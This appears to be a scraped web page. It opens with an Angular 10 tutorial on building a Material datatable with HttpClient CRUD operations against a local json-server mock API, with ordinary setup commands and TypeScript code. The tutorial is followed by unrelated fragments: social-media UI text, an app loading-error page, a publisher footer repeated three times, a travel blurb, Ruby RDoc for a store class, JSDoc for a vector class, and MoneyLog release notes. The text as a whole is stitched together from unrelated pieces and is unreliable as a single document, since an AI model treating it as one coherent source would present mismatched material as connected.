Angular 10 Material Datatable Inline HttpClient CRUD Operations using RestFull APIs
In this Angular tutorial, we’ll learn how to use HttpClient module in Angular application to make RESTFull API Ajax calls.
We’ll set up a new Angular 10 project and create API endpoints to perform Create, Read, Update and Delete operations using HTTP methods using a mock server using the **json-server**
package. Using **json-server**
we can create a local JSON file which can act as a database for our application. There is no difference between a local mock server and a real database.
We’ll perform HTTP operation using API endpoints to add, edit, delete and get list of items listed in an Angular Material Datatable.
This Material Datatable will have action column using which user an Edit or Delete a row. There will be a form over the table to Add or Update existing rows in
After implementation, our application will look like this
First, let’s have a look at Angular HttpClient and its features.
What is Angular HttpClient?
A reactive application like Angular, communicate with server databases to fetch data in form of JSON object using Ajax API calls.
These API Ajex calls use XMLHttpRequest service for old browsers or fetch() methods under the hood.
The HttpClient service provided by Angular’s **@angular/common/http**
package provides a simple interface to make HTTP calls with many optimized and efficient browser support features.
Moreover, we can also use RxJS based Observables and operators to handle client-side or server-side errors.
Using Interceptors service we can modify requests and responses of API calls and even cancels them.
Let’s get started!
#Setup Angular CLI
Angular CLI is the most prefered and official way for creating a new Angular project.
Make sure you have installed the latest version on Angular CLI tool on your system.
Run following npm command to install
$ npm install -g @angular/cli
For this tutorial, we have installed v10.1.6
#Create a new Angular 10 project
Next, create a new Angular project by running following ng command in the terminal
$ ng new ang-datatable-app
On hitting above command, ng CLI will ask few configurational questions
? Would you like to add Angular routing? Yes
? Which stylesheet format would you like to use? CSS
Now move to the project folder
$ cd ang-datatable-app
Run the project by executing below command
$ ng serve --open
As we have created the Angular project successfully, lets mover further to create a dummy mock JSON server.
#Setup a Mock JSON Server
For testing and learning HttpClient module, we need to test Http methods, which will communicate to the server by calling Rest APIs.
These RESTFull APIs return JSON data which is then consumed by Angular application. This API JSON data may come from any third-party API, Server Database or any local server database.
Here we will create a dummy mock JSON API server using the **json-server**
package. using this package we can create a mock server using which we can perform all HTTP methods like **GET**
, **POST**
, **PUT**
, **PATCH**
and **DELETE**
.
First, install the **json-server**
package by running bellow npm command in the terminal window:
$ npm install -g json-server
After that create a new folder API in the project root and place JSON file data.json at ~ang-datatable-app/API/data.json
The data.json file will work as RESTfull server. We will add some dummy employeess data. So that will act like a database on which we will perform CRUD operations.
#Start JSON Server
To start the JSON server using json-server, run following command in a new terminal:<
$ json-server --watch ./API/data.json
Now you can access our mock server at http://localhost:3000/employees
Following are the API URLs available on our server:
- GET /employees - fetch all employees
- GET /employees/: id - fetch a single employee detail by id
- POST /employees - create a new employee
- PUT /employees/: id - update a employee by id
- PATCH /employees/: id - partially update a employee by id
- DELETE /employees/:id - delete a employee by id
As we are ready with our server, next we will import HttpClientModule in Angular project to use HTTP services.
Configure HttpClient in Angular 10 project
Before using HTTP services, we need to import **HttpClientModule**
from **@angular/common/http**
class.
Now open the app.module.ts file, then make the following changes:
// app.module.ts
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { HttpClientModule } from '@angular/common/http';
@NgModule({
declarations: [
AppComponent
],
imports: [
BrowserModule,
AppRoutingModule,
HttpClientModule
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
We will add Angular Material Datatable to perform CRUD operations on Employees data. So let us install and configure Material UI library in our project.
#Install and Setup Angular Material
Angular Material is a UI library which provides several easy to use feature components. In this tutorial, we will use Material Datatables to show employees records and perform the various inline operation on employees records.
Run following npm command in terminal to install Material library and answer some configuration answers.
$ ng add @angular/material
? Choose a prebuilt theme name, or "custom" for a custom theme: Indigo/Pink [ Preview: https://material.angular.io?theme=indigo-pink ]
? Set up global Angular Material typography styles? Yes
? Set up browser animations for Angular Material? Yes
To use Material UI components, we need to import modules of components which we are going to use in the application’s module so that these will be available in our class components to use.
As we will be using Material Datatables with pagination, so we need to import **MatTableModule**
and **MatPaginatorModule**
.
To update and add employees rows we will add Material Form as well, for that we will also import **FormsModule**
,**ReactiveFormsModule**
, **MatInputModule**
, and **MatButtonModule**
as well
in the app.module.ts file as shown below:
// app.module.ts
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { HttpClientModule } from '@angular/common/http';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { FormsModule, ReactiveFormsModule } from '@angular/forms';
import { MatTableModule } from '@angular/material/table';
import { MatPaginatorModule } from '@angular/material/paginator';
import { MatInputModule } from '@angular/material/input';
import { MatButtonModule } from '@angular/material/button';
@NgModule({
declarations: [
AppComponent
],
imports: [
BrowserModule,
AppRoutingModule,
HttpClientModule,
BrowserAnimationsModule,
FormsModule,
ReactiveFormsModule,
// Material Modules
MatTableModule,
MatPaginatorModule,
MatInputModule,
MatButtonModule
],
providers: [],
bootstrap: [AppComponent]
})
export class AppModule { }
#Creating a Service to Communicate Server through HTTP methods
Now we’ll create a new service to separate all HTTP methods which will communicate to server and do CRUD operations.
Let’s create a new serve HttpDataService under services folder by running following ng command in the terminal window:
$ ng generate service services/http-data
Above **generate**
command will create the **HttpDataService**
for us at this location ~src/app/services/http-data.service.ts
Also, create an Interface class for Employees data by running following command defining the type of values for employee item.
$ ng generate class models/Employee
then replace the following content in the newly created file “~/models/employee.ts”
export class Employee {
id: number;
userId: string;
jobTitleName: string;
firstName: string;
lastName: string;
preferredFullName: string;
employeeCode: string;
region: string
phoneNumber: string;
emailAddress: string;
}
Our service will be going to play an important role in maintaining a connection with the server. Let us dive deep into this file and check what it will have?
Add the server API URL for end-points and define in the **base_path**
variable. This is the path which opens up on running our **json-server**
// API path
base_path = 'http://localhost:3000/employees';
Note: Make sure your server is still running.
We’ll import these three classes
**HttpClient**
: This class provides HTTP methods like **get()**
, **post()**
, **put()**
and **delete()**
.
**HttpHeaders**
: For setting request headers in HTTP calls we use this class.
// Http Options
httpOptions = {
headers: new HttpHeaders({
'Content-Type': 'application/json'
})
}
**HttpErrorResponse**
: Used to efficiently handle errors from client-side or server-side.
// Handle API errors
handleError(error: HttpErrorResponse) {
if (error.error instanceof ErrorEvent) {
// A client-side or network error occurred. Handle it accordingly.
console.error('An error occurred:', error.error.message);
} else {
// The backend returned an unsuccessful response code.
// The response body may contain clues as to what went wrong,
console.error(
`Backend returned code ${error.status}, ` +
`body was: ${error.error}`);
}
// return an observable with a user-facing error message
return throwError(
'Something bad happened; please try again later.');
};
#RxJs functions and operators to the rescue

The RxJs library provides many useful function and operator which we will use in our service:
**Observables**
: Observables are used to perform asynchronous tasks like HTTP calls. We can subscribe them to get success or error response. They provide several other features file cancellations and continuous event retrieval, unlike promises.
**throwError**
: This method is used to intentionally throw an error with a message when an HTTP request fails.
**retry()**
: The retry operator is used to make HTTP call again for the number of times specified when a call fails due to network server issues.
**catchError()**
: This method catches the error and throws to errorHandler
#Defining CRUD Methods
Now we will add the methods to do CRUD operation on emloyees data in our mock server which we created using **json-server**
.
Create an Employee
The new employee will be created using the **post()**
method
// Create a new item
createItem(item): Observable<Employee> {
return this.http
.post<Employee>(this.base_path, JSON.stringify(item), this.httpOptions)
.pipe(
retry(2),
catchError(this.handleError)
)
}
The **createItem()**
method is accepting **item**
attribute with employee details to add.
Retrieve Employee Details
To fetch single employee details we use **get()**
method with employee **id**
whose detail needs to be checked.
// Get single employee data by ID
getItem(id): Observable<Employee> {
return this.http
.get<Employee>(this.base_path + '/' + id)
.pipe(
retry(2),
catchError(this.handleError)
)
}
Retrieve All Employees
Similarly, we will make **get**
call to fetch all employees list
// Get employees data
getList(): Observable<Employee> {
return this.http
.get<Employee>(this.base_path)
.pipe(
retry(2),
catchError(this.handleError)
)
}
Update single employee
The **put()**
method will update single employee with id passed
// Update item by id
updateItem(id, item): Observable<Employee> {
return this.http
.put<Employee>(this.base_path + '/' + id, JSON.stringify(item), this.httpOptions)
.pipe(
retry(2),
catchError(this.handleError)
)
}
Delete a single employee
The **delete()**
HTTP method will delete a single record whose id is passed
// Delete item by id
deleteItem(id) {
return this.http
.delete<Employee>(this.base_path + '/' + id, this.httpOptions)
.pipe(
retry(2),
catchError(this.handleError)
)
}
After combining all explained code the final http-data.service.ts file will look like this:
// http-data.servie.ts
import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders, HttpErrorResponse } from '@angular/common/http';
import { Employee } from '../models/employee';
import { Observable, throwError } from 'rxjs';
import { retry, catchError } from 'rxjs/operators';
@Injectable({
providedIn: 'root'
})
export class HttpDataService {
// API path
base_path = 'http://localhost:3000/employees';
constructor(private http: HttpClient) { }
// Http Options
httpOptions = {
headers: new HttpHeaders({
'Content-Type': 'application/json'
})
}
// Handle API errors
handleError(error: HttpErrorResponse) {
if (error.error instanceof ErrorEvent) {
// A client-side or network error occurred. Handle it accordingly.
console.error('An error occurred:', error.error.message);
} else {
// The backend returned an unsuccessful response code.
// The response body may contain clues as to what went wrong,
console.error(
`Backend returned code ${error.status}, ` +
`body was: ${error.error}`);
}
// return an observable with a user-facing error message
return throwError(
'Something bad happened; please try again later.');
};
// Create a new item
createItem(item): Observable<Employee> {
return this.http
.post<Employee>(this.base_path, JSON.stringify(item), this.httpOptions)
.pipe(
retry(2),
catchError(this.handleError)
)
}
// Get single employee data by ID
getItem(id): Observable<Employee> {
return this.http
.get<Employee>(this.base_path + '/' + id)
.pipe(
retry(2),
catchError(this.handleError)
)
}
// Get employees data
getList(): Observable<Employee> {
return this.http
.get<Employee>(this.base_path)
.pipe(
retry(2),
catchError(this.handleError)
)
}
// Update item by id
updateItem(id, item): Observable<Employee> {
return this.http
.put<Employee>(this.base_path + '/' + id, JSON.stringify(item), this.httpOptions)
.pipe(
retry(2),
catchError(this.handleError)
)
}
// Delete item by id
deleteItem(id) {
return this.http
.delete<Employee>(this.base_path + '/' + id, this.httpOptions)
.pipe(
retry(2),
catchError(this.handleError)
)
}
}
#Create new pages
To show employees data in a table, we will create a new employees component and update the app-routing.module.ts file to open /employees
page on application load.
Create the **EmployeesComponent**
by running below generate command:
$ ng generate component pages/employees
Setup the App Routing Module Now update the app-routing.module.tsfile with below code.
// app-routing.module.ts
import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import { EmployeesComponent } from './pages/employees/employees.component';
const routes: Routes = [
{
path: '',
redirectTo: '/employees',
pathMatch: 'full'
},
{
path: 'employees',
component: EmployeesComponent
}
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
#Using HttpDataService in Employees Page
As we defined our HttpDataService as **providedIn: 'root'**
so we can directly use it in our Angular application. This will share a single instance across the application.
To use service methods in our employee’s page at ~src/app/pages/employees/employees.component.ts, we need to **impor**t
it and then add in component the contractor() method as shown below:
...
import { HttpDataService } from 'src/app/services/http-data.service';
@Component({
selector: 'app-employees',
templateUrl: './employees.component.html',
styleUrls: ['./employees.component.css']
})
export class EmployeesComponent implements OnInit {
constructor(private httpDataService: HttpDataService) { }
...
}
#Adding Angular Material Datatable
Next, we will add a Datatable with Employees columns and an extra Actions column where we will do inline Edit, Delete and Update operations.
For creating the Material datatable, the **mat-table**
directive is used. We are also adding pagination by appending the **mat-paginator**
directive just after ending **
**
tag.
Update the employees.component.html file with below code to build a Material datatable:

<ng-container matColumnDef="id">
 #Id

</ng-container>
<ng-container matColumnDef="userId">
 User Id

</ng-container>
<ng-container matColumnDef="jobTitleName">
 jobTitle Name

</ng-container>
<ng-container matColumnDef="firstName">
 First Name

</ng-container>
<ng-container matColumnDef="lastName">
 Last Name

</ng-container>
<ng-container matColumnDef="preferredFullName">
 Preferred FullName

</ng-container>
<ng-container matColumnDef="employeeCode">
 Employee Code

</ng-container>
<ng-container matColumnDef="region">
 Region

</ng-container>
<ng-container matColumnDef="phoneNumber">
 Phone Number

</ng-container>
<ng-container matColumnDef="emailAddress">
 Email Address

</ng-container>
<ng-container matColumnDef="actions">
 Actions

Edit |
Delete

</ng-container>

<mat-paginator [pageSize]="5" [pageSizeOptions]="[5, 10, 15]" showFirstLastButtons></mat-paginator>

In the last **actions**
column there are two actions to Edit with **editEmployee()**
method and Delete with **deleteEmployee()**
method for the row.
To add a new row or update the data in the existing row we will add a form above table.
<form (submit)="onSubmit()" #employeeForm="ngForm">
<mat-form-field>
<input matInput placeholder="User Id" name="userId" required [(ngModel)]="employeeData.userId">
</mat-form-field>
<mat-form-field>
<input matInput placeholder="Job TitleName" name="jobTitleName" required [(ngModel)]="employeeData.jobTitleName">
</mat-form-field>
<mat-form-field>
<input matInput placeholder="first Name" name="firstName" required [(ngModel)]="employeeData.firstName">
</mat-form-field>
<mat-form-field>
<input matInput placeholder="Last Name" name="lastName" required [(ngModel)]="employeeData.lastName">
</mat-form-field>
<mat-form-field>
<input matInput placeholder="Preferred FullName" name="preferredFullName" required [(ngModel)]="employeeData.preferredFullName">
</mat-form-field>
<mat-form-field>
<input matInput placeholder="Employee Code" name="employeeCode" required [(ngModel)]="employeeData.employeeCode">
</mat-form-field>
<mat-form-field>
<input matInput placeholder="Region" name="region" required [(ngModel)]="employeeData.region">
</mat-form-field>
<mat-form-field>
<input matInput placeholder="Phone Number" name="phoneNumber" required [(ngModel)]="employeeData.phoneNumber">
</mat-form-field>
<mat-form-field>
<input matInput placeholder="Email Address" name="emailAddress" required [(ngModel)]="employeeData.emailAddress">
</mat-form-field>
<ng-container *ngIf="isEditMode; else elseTemplate">
<button mat-button color="primary">Update</button>
Cancel
</ng-container>
<ng-template #elseTemplate>
<button mat-button color="primary">Add</button>
</ng-template>
</form>
The text in form submit button will change based on the boolean value in the **isEditMode**
variable.
#Update Component Class
After adding Material datatable and Form, let us update employees.component.ts file with required methods.
First, initialize the Template driven form with the **NgForm**
@ViewChild('employeeForm', { static: false })
employeeForm: NgForm;
Import the Employee
class which we created and define a new variable employeeData
of type Employee
employeeData: Employee;
Then define the **dataSource**
and **displayedColumns**
with **MatPaginator**
class to build our Datatable
dataSource = new MatTableDataSource();
displayedColumns: string[] = ['id', 'userId', 'jobTitleName', 'firstName','lastName','preferredFullName','employeeCode','region', 'phoneNumber','emailAddress','actions'];
@ViewChild(MatPaginator, { static: true }) paginator: MatPaginator;
Then we will add methods to Add, Delete, Edit, Update and Get Employees list in the class file as shown below:
...
getAllEmployees() {
this.httpDataService.getList().subscribe((response: any) => {
this.dataSource.data = response;
});
}
editItem(element) {
this.employeeData = _.cloneDeep(element);
this.isEditMode = true;
}
cancelEdit() {
this.isEditMode = false;
this.employeeForm.resetForm();
}
deleteItem(id) {
this.httpDataService.deleteItem(id).subscribe((response: any) => {
// Approach #1 to update datatable data on local itself without fetching new data from server
this.dataSource.data = this.dataSource.data.filter((o: Employee) => {
return o.id !== id ? o : false;
})
console.log(this.dataSource.data);
// Approach #2 to re-call getAllEmployees() to fetch updated data
// this.getAllEmployees()
});
}
addEmployee() {
this.httpDataService.createItem(this.employeeData).subscribe((response: any) => {
this.dataSource.data.push({ ...response })
this.dataSource.data = this.dataSource.data.map(o => {
return o;
})
});
}
updateEmployee() {
this.httpDataService.updateItem(this.employeeData.id, this.employeeData).subscribe((response: any) => {
// Approach #1 to update datatable data on local itself without fetching new data from server
this.dataSource.data = this.dataSource.data.map((o: Employee) => {
if (o.id === response.id) {
o = response;
}
return o;
})
// Approach #2 to re-call getAllEmployees() to fetch updated data
// this.getAllEmployees()
this.cancelEdit()
});
}
...
We are calling HttpDataService
methods to communicate with our json-server
After adding the above method the final employees.component.ts file will look like this:
// employees.component.ts
import { Component, OnInit, ViewChild } from '@angular/core';
import { NgForm } from '@angular/forms';
import { HttpDataService } from 'src/app/services/http-data.service';
import * as _ from 'lodash';
import { Employee } from 'src/app/models/employee';
import { MatPaginator } from '@angular/material/paginator';
import { MatTableDataSource } from '@angular/material/table';
@Component({
selector: 'app-employees',
templateUrl: './employees.component.html',
styleUrls: ['./employees.component.css']
})
export class EmployeesComponent implements OnInit {
@ViewChild('employeeForm', { static: false })
employeeForm: NgForm;
employeeData: Employee;
dataSource = new MatTableDataSource();
displayedColumns: string[] = ['id', 'userId', 'jobTitleName', 'firstName','lastName','preferredFullName','employeeCode','region', 'phoneNumber','emailAddress','actions'];
@ViewChild(MatPaginator, { static: true }) paginator: MatPaginator;
isEditMode = false;
constructor(private httpDataService: HttpDataService) {
this.employeeData = {} as Employee;
}
ngOnInit(): void {
// Initializing Datatable pagination
this.dataSource.paginator = this.paginator;
// Fetch All Employees on Page load
this.getAllEmployees();
}
getAllEmployees(){
this.httpDataService.getList().subscribe((response: any) => {
this.dataSource.data = response;
});
}
editItem(element) {
this.employeeData = _.cloneDeep(element);
this.isEditMode = true;
}
cancelEdit() {
this.isEditMode = false;
this.employeeForm.resetForm();
}
deleteItem(id) {
this.httpDataService.deleteItem(id).subscribe((response: any) => {
// Approach #1 to update datatable data on local itself without fetching new data from server
this.dataSource.data = this.dataSource.data.filter((o: Employee) => {
return o.id !== id ? o : false;
})
console.log(this.dataSource.data);
// Approach #2 to re-call getAllEmployees() to fetch updated data
// this.getAllEmployees()
});
}
addEmployee() {
this.httpDataService.createItem(this.employeeData).subscribe((response: any) => {
this.dataSource.data.push({ ...response })
this.dataSource.data = this.dataSource.data.map(o => {
return o;
})
});
}
updateEmployee() {
this.httpDataService.updateItem(this.employeeData.id, this.employeeData).subscribe((response: any) => {
// Approach #1 to update datatable data on local itself without fetching new data from server
this.dataSource.data = this.dataSource.data.map((o: Employee) => {
if (o.id === response.id) {
o = response;
}
return o;
})
// Approach #2 to re-call getAllEmployees() to fetch updated data
// this.getAllEmployees()
this.cancelEdit()
});
}
onSubmit() {
if (this.employeeForm.form.valid) {
if (this.isEditMode)
this.updateEmployee()
else
this.addEmployee();
} else {
console.log('Enter valid data!');
}
}
}
That’s it now run you server by executing **$ json-server --watch ./API/data.json**
then run Angular application in another terminal by executing **$ ng serve --open**
You can get source code of this tutorial in my GitHub repo here
Conclusion: In this tutorial, we get to know how to use Http services to make server communication, use get, post, put and delete methods on data server. We use RxJs methods and operators to handle errors and network issues using retry()
. Added Angular Material UI library to show data rows in a Datatable. In the Material Datatable, we performed CRUD operation using Inline approach


Instagram
Ralph Edwards
@ralphedwards
52
Posts
232
Followes
364
Following
Feed
Activity
IG TV
Reels
Shop
Setting
Logout
Add photo
Stories
Feed
Username


DaAPI
DaAPI is loading
We are loading the app in the background...
Loading...
An unhandled error has occurred.
Reload
🗙


You can get started by going over to our GitHub repository and cloning/forking it. There you'll find docs on the project structure and how to get started.


Find a Sales ConsultantRights and Permissions
Request permission to photocopy, duplicate, republish or otherwise reuse Cengage material.
Request eFiles for students with disabilities.U.S. Instructor & Review Copies
Email<EMAIL_ADDRESS>via Mail
Cengage Distribution Center
10650 Toebben Dr
Location 2
Independence, KY 41051
Find a Sales ConsultantRights and Permissions
Request permission to photocopy, duplicate, republish or otherwise reuse Cengage material.
Request eFiles for students with disabilities.U.S. Instructor & Review Copies
Email<EMAIL_ADDRESS>via Mail
Cengage Distribution Center
10650 Toebben Dr
Location 2
Independence, KY 41051
Find a Sales ConsultantRights and Permissions
Request permission to photocopy, duplicate, republish or otherwise reuse Cengage material.
Request eFiles for students with disabilities.U.S. Instructor & Review Copies
Email<EMAIL_ADDRESS>via Mail
Cengage Distribution Center
10650 Toebben Dr
Location 2
Independence, KY 41051


Simple template
This is a very simple example template using avalanche packages for the layout. The avalanche framework provides only very basic packages with very little styling out of the box.
This is a very simple example template using avalanche packages for the layout. The avalanche framework provides only very basic packages with very little styling out of the box.


There are lots of cool place to visit in Portland Oregon but these are the ones that stand out to me!
A list of my favorite places:


Heavenly Travels was started having these main beliefs in mind.
We believe in promoting international reproductive healthcare, sustainable agriculture, and other fundamental human rights throughout our travels.
One of the best aspects of traveling to developing regions is how resourcefulness leads to innovative and creative solutions to promote sustainability and prosperity.
We believe in respecting the dignity of the people we meet and in having honest dialogues about the unique circumstances our friends face.
— Selina Schweitzer, Coordinator of KEO Marketing
Bet you didn’t know we had this up our sleeves!
Be the first to know about Heavenly Travels..


Object
The reference to each Product’s Name (ID) and Price list data, based dollars using whole pennies. (A Controller)
To @products, add the given data as a map, where price is in dollars.
# File lib/store.rb, line 30 def add_product(aItemId, aPrice, aMinimumBatchQuantity=0, aBatchPrice=0.0) validAsProduct(aItemId, aPrice, aMinimumBatchQuantity, aBatchPrice) new_item = Hash[ :id=> aItemId, :price=> (Money::Money.new).add( aPrice), :numberForBatchDiscount => Integer(aMinimumBatchQuantity), # ISSUE#01 :batchPrice=> (Money::Money.new).add( aBatchPrice) ] @products = @products << new_item end
# File lib/store.rb, line 19 def add_product_map(aMap) #print "-AddProd Got map=#{aMap.to_s}" add_product( aMap[:id], aMap[:price], aMap[:numberForBatchDiscount], aMap[:batchPrice] ) end
# File lib/store.rb, line 81 def clear_products_list() @products = [] end
# File lib/store.rb, line 85 def count_products() @products.size end
Return the Product map for the given aProductId, if it is in the store, or the empty map, {}, if not.
# File lib/store.rb, line 96 def find_product (aProductId) validAsProductID(aProductId) rescue return {} @products.each { |aMap| return aMap if aMap[:id]==aProductId } return {} end
Validate that the given aProductId is in the store. (Boolean)
# File lib/store.rb, line 90 def find_product? (aProductId) return false if (find_product(aProductId) == {}) return true end
Using the algorithm that only complete sets are discounted, any extra items are charged full price, get the total bill for the given quantity of the given product.
# File lib/store.rb, line 111 def minimal_price_in_dollars(aProduct, aQtyToBuy) stdPrice = aProduct[:price] discPrice = aProduct[:batchPrice] discQty = aProduct[:numberForBatchDiscount] case discPrice when 0 leftovers = aQtyToBuy batches = 0 else leftovers = aQtyToBuy % discQty batches = (aQtyToBuy - leftovers) / discQty end price = (discPrice * batches) + (stdPrice * leftovers) #print "--minimal= (#{discPrice} * #{batches}) + (#{stdPrice} * #{leftovers}) == #{price}" price end
Return the total price for the given aQuantity of aId products and use the minimal discount.
# File lib/store.rb, line 130 def price_in_dollars_for_quantity(aId, aQuantity=1) product = find_product(aId) raise "No such product in the store: #{aId.to_s} with quantity= #{aQuantity.to_s}." if product=={} return (minimal_price_in_dollars(product,aQuantity)) end
# File lib/store.rb, line 15 def product_attributes [:id, :price, :numberForBatchDiscount, :batchPrice] end
# File lib/store.rb, line 102 def product_list_showing_prices_in_dollars @products.to_s end
# File lib/store.rb, line 106 def report product_list_showing_prices_in_dollars end
# File lib/store.rb, line 77 def validAsBatchPrice(aPrice) Money::Money.new.validAsDollars(aPrice) end
# File lib/store.rb, line 64 def validAsBatchQuantity(aNumber) Money::Money.new.validAsNonNegativeFiniteNumber(aNumber) # Check if a Text number is non-integer by checking if it raises an error upon cast. Integer(aNumber) rescue raise "Argument #{aNumber} is not castable to an integer." # Check if a Numeric value is non-integer by checking if it is Truncated upon cast. raise "Argument #{aNumber} is not an integer." if Integer(aNumber) != Float(aNumber) end
Ascertain that the given arguments are suitable to create a Product.
# File lib/store.rb, line 42 def validAsProduct(aItemId, aPrice, aMinimumBatchQuantity, aBatchPrice) validAsProductID(aItemId) raise "Duplicate products are not allowed in the store." if find_product?(aItemId) validAsRetailPrice(aPrice) validAsBatchQuantity(aMinimumBatchQuantity) validAsBatchPrice(aBatchPrice) validate_sensible_discount(aBatchPrice, aMinimumBatchQuantity) end
A valid product ID is a string of LT 5 characters.
# File lib/store.rb, line 57 def validAsProductID (aStr) raise "Argument #{aStr} is not a string." if aStr.class != String raise "Argument #{aStr} is longer than 5 characters." if aStr.to_s.length > 5 raise "Argument '#{aStr}' contains whitespace." if (aStr =~ /\s/) != nil raise "Argument '#{aStr}' contains special non-word characters." if (aStr =~ /\W/) != nil end
# File lib/store.rb, line 72 def validAsRetailPrice(aPrice) validAsBatchPrice(aPrice) raise "Argument '#{aPrice}' must not be zero." if aPrice == 0 end
# File lib/store.rb, line 52 def validate_sensible_discount(aBatchPrice, aMinimumBatchQuantity) raise "Argument aBatchPrice #{aBatchPrice} was not specified but aMinimumBatchQuantity #{aMinimumBatchQuantity} was." if (aBatchPrice == 0 and aMinimumBatchQuantity != 0) end
Generated with the Darkfish Rdoc Generator 2.


new vecn(dimension [, args])
Creates a vecn of the specified dimension. This should never be called
by the user (as if this were an abstract class).
Parameters:
| Name | Type | Argument | Default | Description |
|---|---|---|---|---|
dimension |
number | The dimension of this vector. |
||
args |
Array.<number> |
<optional> |
[] | The numbers to be put in the vector. |
Extends
- Array
Members
-
magnitude :number
-
The L2 norm (Euclidian norm) of the vector.
Type:
- number
Methods
-
approximatelyEquals(v, epsilon)
-
Returns whether every element in each vector is approximately equal.
Parameters:
Name Type Default Description v
Array.<number> A vector to test against.
epsilon
number 1e-8 The largest meaningful difference between two values.
Returns:
True if both vectors have the same dimension and the
distance between each number is less than epsilon.- Type
- boolean
-
argmax()
-
Finds the indices of the max value in this vector.
Returns:
An array of indices corresponding to the max values.
- Type
- Array.<number>
-
argmin()
-
Finds the indices of the min value in this vector.
Returns:
An array of indices corresponding to the min values.
- Type
- Array.<number>
-
choose(indices)
-
Creates a new vector from the provided indices of this one. Basically
equivalent to swizzling.Parameters:
Name Type Description indices
Array.<number> The indices to select into a new vector.
Returns:
A new vector from the provided indices.
- Type
- vecn
-
concat()
-
Same as Array.prototype.concat, but return value is of a new vecType.
Returns:
- Type
- vecn
-
copy()
-
Creates a duplicate of this vector. Same as passing this vector through
the factory that created it.Returns:
A deep copy of this vector.
- Type
- vecn
-
div(v)
-
Returns a vector where this is divided by v componentwise. If v is
a single number, the vector is scaled by 1/v.Parameters:
Name Type Description v
number | Array.<number> The value to multiply with.
Returns:
A new vector with the divided components.
- Type
- vecn
-
dot(v)
-
Dot product of two vectors.
Parameters:
Name Type Description v
Array.<number> The vector to dot with this one.
Returns:
The dot product between this and v.
- Type
- number
-
equals(v)
-
Returns whether every element in each vector is equal.
Parameters:
Name Type Description v
Array.<number> A vector to test against.
Returns:
True if both vectors have the same dimension and values.
- Type
- boolean
-
filter()
-
Same as Array.prototype.filter, but returns an Array if the result has 0
entries.Returns:
- Type
- vecn | Array.<number>
-
map()
-
Same as Array.prototype.map, but returns an Array if the result contains
non-numbers.Returns:
- Type
- vecn | Array
-
max()
-
Returns the max value of this vector.
Returns:
The max value of this vector.
- Type
- number
-
min()
-
Returns the min value of this vector.
Returns:
The min value of this vector.
- Type
- number
-
minus(v)
-
Returns a vector where v is subtracted from the components of this
vector. If v is a single number, it is subtracted to each component. If v
is a vector, the vectors are combined componentwise.Parameters:
Name Type Description v
number | Array.<number> The value to subtract from this vector.
Returns:
A new vector with the combined components.
- Type
- vecn
-
neg()
-
Negates each element in this vector.
Returns:
A new vector where all elements are negated.
- Type
- vecn
-
normalize()
-
Scales this vector to a magnitude of 1.
Returns:
A new vector with scaled components.
- Type
- vecn
-
plus(v)
-
Returns a vector where v is added to the components of this vector. If v
is a single number, it is added to each component. If v is a vector, the
vectors are added componentwise.Parameters:
Name Type Description v
number | Array.<number> The value to add to this vector.
Returns:
A new vector with the summed components.
- Type
- vecn
-
pnorm(p)
-
Evaluates the p-norm (or lp-norm) of this vector.
Parameters:
Name Type Description p
number The p-value to evaluate.
Returns:
The norm of this vector.
- Type
- number
-
pow(p)
-
Returns a vector where each component of this was raised to a power p.
Parameters:
Name Type Description p
number The power to raise each component by.
Returns:
A new vector with the exponentiated components.
- Type
- vecn
-
reflect(normal)
-
Reflects this vector across the provided vector. The normal can be imagined
as a surface normal or as describing a hyperpalane.Parameters:
Name Type Description normal
Array.<number> A vector describing the hyperplane to reflect off of.
Returns:
The reflected vector.
- Type
- vecn
-
slice()
-
Same as Array.prototype.slice, but returns an Array if the result has 0
entries. -
splice()
-
A restrictive version of the Array.prototype.splice that requires all
removed elements to be replaced. -
sum()
-
Sums the components of this vector.
Returns:
The sum of the components of this vector.
- Type
- number
-
times(v)
-
Returns a vector where v and this are multiplied componentwise. If v is
a single number, the vector is scaled by v.Parameters:
Name Type Description v
number | Array.<number> The value to multiply with.
Returns:
A new vector with the multiplied components.
- Type
- vecn
-
toArray()
-
Converts this vector into an Array.
Returns:
An array of the contents of this vector.
- Type
- Array.<number>


NEWS — MoneyLog v5
March, 2012
New flavors
- Now the app come in four flavors:
- MoneyLog Cloud — runs online, get TXT and config files from Dropbox. (by @xupisco)
- MoneyLog Browser — runs online and offline, saves data to browser localStorage.
- MoneyLog Portable — runs offline, all-in-one HTML file with app and user data.
- MoneyLog Beta — runs offline, with local TXT files. This is the default SVN version.
- These flavors are generated by the scripts named gen-* in SVN/trunk/util/.
New interface (UI)
- All new user interface. (by @xupisco) r285
- Toolbar at left side, with collapsable boxes.
- Reports at right.
- Help screen is gone.
- No colors, black & white UI. Each MoneyLog flavor will have its own color theme.
Translations
Mobile
- New mobile UI, for screens with 480px width or less. r459
- New iOS icon. (by @xupisco) r466
Printer ready
- New print style, removing colors and undesired elements from interface. (thanks @xupisco) r465
User data
- New data separator: spaces are now allowed, the TAB is no longer mandatory. DO NOT use spaces inside values. r268 r392
- Out-of-range days (2000-01-99) will turn to last month day (2000-01-31). r496
- New config dataFilesDefault to set the default file when using multiple TXT files (local or Dropbox). r260
- New config ignoreDataOlderThan, to ignore entries older than the specified date. r415
- New config ignoreDataNewerThan, to ignore entries newer than the specified date. r417
Password
Full Screen mode
Filters for all reports
Tag report
- New feature: Tag Report in monthly and yearly reports. Table headings are clickable for sorting. (thanks @denilsonsa) r524
- New option in Tag Report: [X] Hide related tags. r527
- New config checkHideRelatedTags, to check/uncheck the option [X] Hide related tags. r527
- New config showTagReport, to enable/disable the Tag Report. r533
Rows Summary
- New feature: click a report row to highlight it. Click again to un-highlight it. r180
- New feature: Rows Summary. When selecting rows, a popup appears with: sum, max, min, average, count. (thanks @denilsonsa) r207
- Only show the rows summary when two or more rows are selected. r281
- Rows Summary now works for the monthly and yearly reports, with a new combo to choose the column: Incoming, Expense, Partial. r342
